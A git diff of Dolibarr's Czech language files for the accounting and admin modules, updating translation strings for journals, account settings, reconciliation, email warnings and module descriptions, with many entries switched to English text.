      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Hlavní účty účetnictví pro dodavatele, k MainAccountForUsersNotDefined=Hlavní účetní účetnictví pro uživatele, které nejsou definovány v nastavení MainAccountForVatPaymentNotDefined=Účet hlavního účtu pro platbu DPH není definována v nastavení MainAccountForSubscriptionPaymentNotDefined=Účet hlavního účtu je platba předplatného, která není definována v nastavení +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Účetní oblast AccountancyAreaDescIntro=Použití účetního modulu se provádí v několika krocích: @@ -99,7 +101,8 @@ ShowAccountingAccount=Zobrazit účetní účet ShowAccountingJournal=Zobrazit účetní deník ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Účetní účet navrhl +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=výchozí účty MenuBankAccounts=Bankovní účty MenuVatAccounts=Účty DPH @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=účetní kniha BookkeepingSubAccount=Subledger AccountBalance=Zůstatek na účtu +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Zdrojový objekt ref CAHTF=Celkový prodejce před zdaněním TotalExpenseReport=Celková výkaz výdajů @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Zakázat přímé nahrávání transakce v bankovním ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Povolit návrh exportu v žurnálu ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Prodejní deník -ACCOUNTING_PURCHASE_JOURNAL=Nákupní deník -ACCOUNTING_MISCELLANEOUS_JOURNAL=Ostatní deník +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Rozšířený výpis deníku -ACCOUNTING_SOCIAL_JOURNAL=Sociální deník +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Má nový věstník +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Sociální deník ACCOUNTING_RESULT_PROFIT=Výsledek účetnictví (Zisk) ACCOUNTING_RESULT_LOSS=Výsledek účetní účet (ztráta) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Časopis uzavření -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Účtovací účet přechodného bankovního převodu +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Účet přechodného bankovního převodu -ACCOUNTING_ACCOUNT_SUSPENSE=Čekající účet -DONATION_ACCOUNTINGACCOUNT=Účtování účet registrovaných darů -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Účtovací účet pro registraci předplatného +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Účetní účet ve výchozím nastavení pro zakoupené produkty (používá se, pokud není definováno v produktovém listu) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Účetní účet ve výchozím nastavení u zakoupených produktů v EHS (používá se, pokud není definováno v produktovém listu) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Účetní účet ve výchozím nastavení pro nakoupené produkty a dovážený z EHS (používá se, pokud není definován v listu produktu) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Účetní účet ve výchozím nastavení pro prodané produkty (použít, pokud není definován v listu produktu) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Účetní účet ve výchozím nastavení u produktů prodávaných v EHS (používá se, pokud není definováno v produktovém listu) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Účetní účet ve výchozím nastavení u produktů prodaných a vyvezených z EHS (používá se, pokud není definováno v produktovém listu) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Účetní účet ve výchozím nastavení pro zakoupené služby (použít, pokud není definován v servisním listu) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Účetní účet ve výchozím nastavení pro zakoupené služby v EHS (používá se, pokud není definováno v listu služeb) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Účetní účet ve výchozím nastavení pro nakoupené služby a importovaný z EHS (používá se, pokud není definováno v listu služeb) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Účetní účet ve výchozím nastavení pro prodané služby (použít, pokud není definován v servisním listu) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Účetní účet ve výchozím nastavení pro služby prodávané v EHS (používá se, pokud není definováno v listu služeb) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Účetní účet ve výchozím nastavení pro služby prodané a vyvezené z EHS (použité, pokud není definováno v listu služeb) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Typ dokumentu Docdate=Datum @@ -211,7 +220,8 @@ Codejournal=Deník JournalLabel=Označení časopisu NumPiece=počet kusů TransactionNumShort=Num. transakce -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=Zde můžete definovat některé skupiny účetních účtů. Budou se používat pro personalizované účetní výkazy. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Skupina účtů PcgtypeDesc=Skupina účtů se používá jako předdefinovaná kritéria pro filtrování a seskupování pro některé účetní výkazy. Například „PŘÍJMY“ nebo „VÝDAJE“ se používají jako skupiny pro účetní účty produktů k sestavení výkazu nákladů / výnosů. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Smíření TotalVente=Celkový obrat před zdaněním TotalMarge=Celkové tržby marže -DescVentilCustomer=Zde naleznete seznam zákaznických fakturačních řádků vázaných (nebo nikoliv) na účet účetnictví produktu -DescVentilMore=Ve většině případů, pokud používáte předdefinované produkty nebo služby a nastavíte číslo účtu na kartě produktu / služby, aplikace bude schopna provést veškerou vazbu mezi vašimi fakturačními řádky a účtem účtu vašeho účtového osvědčení, a to pouze v jedním kliknutím tlačítkem "%s" . Pokud účet nebyl nastaven na kartě produktů / služeb nebo pokud máte ještě nějaké řádky, které nejsou vázány na účet, musíte z nabídky " %s " provést ruční vazbu. -DescVentilDoneCustomer=Seznamte se zde se seznamem řádků faktur zákazníků a jejich účetních účtů -DescVentilTodoCustomer=Vázat fakturační řádky, které již nejsou vázány účtem účetnictví produktu -ChangeAccount=Změnit výrobek/službu na účetnm účtu ve vybraných řádcích s následujícím účetním účtem: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Seznamte se zde se seznamem linek s fakturami dodavatele vázaných nebo dosud vázaných na účet účetnictví produktu (jsou viditelné pouze záznamy, které ještě nebyly převedeny do účetnictví) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Zde si přečtěte seznam řádků prodejních faktur a jejich účetní účet DescVentilTodoExpenseReport=Vázat řádky výkazu výdajů, které již nejsou vázány účtem účtování poplatků DescVentilExpenseReport=Zde si přečtěte seznam výkazů výdajů vázaných (nebo ne) na účty účtování poplatků @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Pokud nastavíte účetní účet na řádcích výk DescVentilDoneExpenseReport=Poraďte se zde seznam v souladu se zprávami výdajů a jejich poplatků účtování účtu Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Jakékoli úpravy nebo vymazání písem, nápisů a vymazání budou zakázány. Všechny přihlášky na cvičení musí být validovány, jinak nebude možné uzavřít ValidateHistory=Ověřit automaticky AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Chyba, nelze odstranit tento účetní účet, protože ho zrovna používáte +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Vyvažování FicheVentilation=Ověřovací karta GeneralLedgerIsWritten=Transakce jsou zapsány do knihy GeneralLedgerSomeRecordWasNotRecorded=Některé transakce nemohly být zveřejněny. Pokud se neobjeví žádná další chybová zpráva, je to pravděpodobně proto, že byly již publikovány. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Seznam výrobků, které nejsou vázány na kterémkoli účetním účtu +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Změnit vazby Accounted=Účtováno v knize NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=Různé operace AccountingJournalType2=Odbyt AccountingJournalType3=Nákupy AccountingJournalType4=Banka -AccountingJournalType5=Zpráva o nákladech +AccountingJournalType5=Výkazy výdajů AccountingJournalType8=Inventář AccountingJournalType9=Má-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Tento deník se již používá AccountingAccountForSalesTaxAreDefinedInto=Poznámka: Účtovací účet pro daň z prodeje je definován v menu %s - %s NumberOfAccountancyEntries=Počet vstupů @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Počet pohybů ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Exportovat deník návrhu @@ -389,7 +406,7 @@ SaleLocal=Místní prodej SaleExport=Exportní prodej SaleEEC=Prodej v EHS SaleEECWithVAT=Prodej v EHS s nulovou DPH, takže předpokládáme, že se nejedná o intrakomunitní prodej a navrhovaný účet je standardní produktový účet. -SaleEECWithoutVATNumber=Prodej v EHS bez DPH, ale DIČ třetí strany není definováno. Pro standardní prodej jsme upadli na produktový účet. V případě potřeby můžete opravit DIČ třetí strany nebo produktový účet. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=počítáno Formula=Vzorec ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Hromadné smazání potvrzení ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Účetní zápisy @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Datum exportu WarningReportNotReliable=Upozornění: Tento přehled není založen na záznamníku, takže neobsahuje transakci upravenou ručně v Knihovně. Je-li vaše deník aktuální, zobrazení účetnictví je přesnější. ExpenseReportJournal=Účet výkazů výdajů -InventoryJournal=Inventářový věstník +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/cs_CZ/admin.lang b/htdocs/langs/cs_CZ/admin.lang index 11d510faad1..da92a17d9c6 100644 --- a/htdocs/langs/cs_CZ/admin.lang +++ b/htdocs/langs/cs_CZ/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Srovnání klientů WarningModuleNotActive=Modul %s musí být povolen WarningOnlyPermissionOfActivatedModules=Zobrazeny pouze oprávnění k aktivovaným modulům. Další moduly můžete aktivovat na stránce Domů-> Nastavení-> Moduly. DolibarrSetup=Instalace nebo aktualizace Dolibarr -InternalUser=Interní uživatel -ExternalUser=Externí uživatel InternalUsers=Interní uživatelé ExternalUsers=Externí uživatelé UserInterface=User interface @@ -147,6 +145,7 @@ Box=Widget Boxes=Boxy MaxNbOfLinesForBoxes=Maximální počet řádků pro widgety AllWidgetsWereEnabled=Všechny dostupné widgety jsou povoleny +WidgetAvailable=Widget available PositionByDefault=Výchozí pořadí Position=Pozice MenusDesc=V nastavení menu nastavíte obsah obou panelů nabídek (horizontální i vertikální). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP / SMTPS Host (Výchozí nastavení v php.ini: %s%s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=E-mail, který se používá pro hlášení chyb, vrací e-maily (políčka "Chyby-To" v odeslaných e-mailech) MAIN_MAIL_AUTOCOPY_TO= Kopírovat (Bcc) všechny odeslané e-maily MAIN_DISABLE_ALL_MAILS=Zakázat veškeré odesílání e-mailů (pro testovací účely nebo ukázky) @@ -375,7 +375,7 @@ DoTestSendHTML=Vyzkoušet odesílání HTML ErrorCantUseRazIfNoYearInMask=Chyba, nelze použít volbu @ pro reset čítače každý rok, když posloupnost {yy} nebo {yyyy} není v masce. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Chyba, nelze použít volbu @ pokud posloupnost {yy}{mm} or {yyyy}{mm} není uvedena v masce. UMask=Umask parametr pro nové soubory na Unix / Linux / BSD / Mac systému souborů. -UMaskExplanation=Tento parametr umožňuje definovat výchozí oprávnění souborl vytvořených Dolibarr systémem na serveru (např. během nahrávání).
      Musí se jednat o osmičkovou hodnotu (např. 0666 znamená číst a psát pro všechny).
      Tento parametr je na serverech Windows k ničemu. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Podívejte se na stránku Wiki, kde najdete seznam přispěvatelů a jejich organizace UseACacheDelay= Zpoždění pro ukládání výsledku exportu do mezipaměti v sekundách (0 nebo prázdné pro neukládání) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unikátní Boolean=Boolean (jedno zaškrtávací políčko) ExtrafieldPhone = Telefon ExtrafieldPrice = Cena +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = E-mail ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Vyberte seznam ExtrafieldSelectList = Vyberte z tabulky ExtrafieldSeparator=Oddělovač (není položka) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Zaškrtávače ExtrafieldCheckBoxFromList=Zaškrtávací políčka z tabulky ExtrafieldLink=Odkaz na objekt ComputedFormula=Vypočtené pole -ComputedFormulaDesc=Zde můžete zadat vzorec pomocí jiných vlastností objektu nebo jakéhokoli kódování PHP, abyste získali dynamickou vypočítanou hodnotu. Můžete použít libovolné vzorce kompatibilní s PHP, včetně "?" operátor stavu a následující globální objekt: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      VAROVÁNÍ : K dispozici mohou být pouze některé vlastnosti objektu $. Pokud potřebujete vlastnosti, které nejsou načteny, stačí si objekt načíst do vzorce jako v druhém příkladu.
      Použití vypočítaného pole znamená, že z rozhraní nemůžete zadat žádnou hodnotu. Rovněž pokud dojde k chybě syntaxe, vzorec nemůže nic vrátit.

      Příklad vzorce:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) subst ($ mysoc-> zip, 1, 2, 2 )

      Příklad opětovného načtení objektu
      (($ reloadedobj = new Societe ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ obj-> id: $ obj-id: $ obj-id: $ obj-id: $ obj-id: $ obj-id: $ obj-> obj:? > rowid: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      Další příklad vzorce pro vynucení zatížení objektu a jeho nadřazeného objektu:
      (= $ reloadedobj (= $ $ load) )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = nový projekt ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobj-> fk_project)> 0))? $ secondloadedobj-> ref: 'Nadřazený projekt nebyl nalezen' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Uložte vypočítané pole ComputedpersistentDesc=Vypočítaná další pole pole budou uložena do databáze, hodnota však bude přepočítána pouze při změně objektu tohoto pole. Pokud vypočítané pole závisí na jiných objektech nebo globálních datech, může být tato hodnota špatná !! ExtrafieldParamHelpPassword=Pokud ponecháte toto pole prázdné, znamená to, že tato hodnota bude uložena bez šifrování (pole musí být skryto pouze s hvězdou na obrazovce).
      Nastavte "auto" pro použití výchozího šifrovacího pravidla pro uložení hesla do databáze (pak hodnota bude číst pouze hash, žádný způsob získání původní hodnoty) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Pokud je váš poskytovatel e-mailových služeb SMTP povinen omezit e-mailový klient na některé adresy IP (velmi vzácné), jedná se o adresu IP agentu uživatele pošty (MUA) pro aplikaci ERP CRM: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate= 
      Příklad:
      Formulář pro vytvoření PageUrlForDefaultValuesList= 
      Příklad:
      Pro stránku, která obsahuje subjekty, je %s .
      Pro adresy URL externích modulů nainstalovaných do vlastního adresáře nezahrnujte "vlastní", takže použijte cestu jako mymodule / mypagelist.php a ne vlastní / mymodule / mypagelist.php.
      Pokud chcete výchozí hodnotu pouze v případě, že url má nějaký parametr, můžete použít %s AlsoDefaultValuesAreEffectiveForActionCreate=Také si všimněte, že přepsání výchozích hodnot pro vytváření formulářů funguje pouze pro stránky, které byly správně navrženy (takže s parametrem action = create or presend ...) EnableDefaultValues=Povolit přizpůsobení výchozích hodnot -EnableOverwriteTranslation=Povolit použití přepsaného překladu +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Překlad byl nalezen pro klíč s tímto kódem. Chcete-li tuto hodnotu změnit, musíte ji upravit z Home-Setup-translation. WarningSettingSortOrder=Upozornění, nastavení výchozího pořadí řazení může vést k technické chybě, pokud se nacházíte na stránce seznamu, pokud je pole neznámý pole. Pokud dojde k takové chybě, vráťte se na tuto stránku, abyste odstranili výchozí pořadí řazení a obnovili výchozí chování. Field=Pole @@ -643,11 +646,13 @@ Module2300Name=Naplánované úlohy Module2300Desc=Správa plánovaných úloh (alias cron nebo chrono table) Module2400Name=Události/Agenda Module2400Desc=Sledujte události. Nahrajte automatické události pro účely sledování nebo zaznamenávejte ruční události nebo schůzky. Jedná se o hlavní modul pro správné řízení vztahů se zákazníky nebo dodavateli. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Systém správy dokumentů / elektronické správy obsahu. Automatické uspořádání vytvořených nebo uložených dokumentů. Sdílejte je, když budete potřebovat. -Module2600Name=API / Webové služby (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Povolit Dolibarr SOAP serveru poskytující služby API -Module2610Name=API / webové služby REST (server) +Module2610Name=API / Web services (REST server) Module2610Desc=Povolit služby API serveru poskytující Dolibarr REST Module2660Name=Call WebServices (SOAP klient) Module2660Desc=Povolit klienta webových služeb Dolibarr (lze použít k posunu dat / požadavků na externí servery. V současné době jsou podporovány pouze nákupní objednávky.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind konverze možnosti Module3200Name=Nezměnitelné archivy Module3200Desc=Povolení nezměnitelného protokolu obchodních událostí. Události jsou archivovány v reálném čase. Protokol je tabulka řetězových událostí jen pro čtení, která lze exportovat. Tento modul může být pro některé země povinný. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sociální sítě Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Přidat funkce pro správu Incoterms Module63000Name=Zdroje Module63000Desc=Spravujte prostředky (tiskárny, auta, místnosti, ...) pro přidělování událostí -Permission11=Přečtěte si faktury zákazníků +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Recepce +Permission11=Read customer invoices (and payments) Permission12=Vytvářejte/upravujte zákaznické faktury Permission13=Invalidate customer invoices Permission14=Ověřte faktury zákazníků @@ -842,9 +852,9 @@ 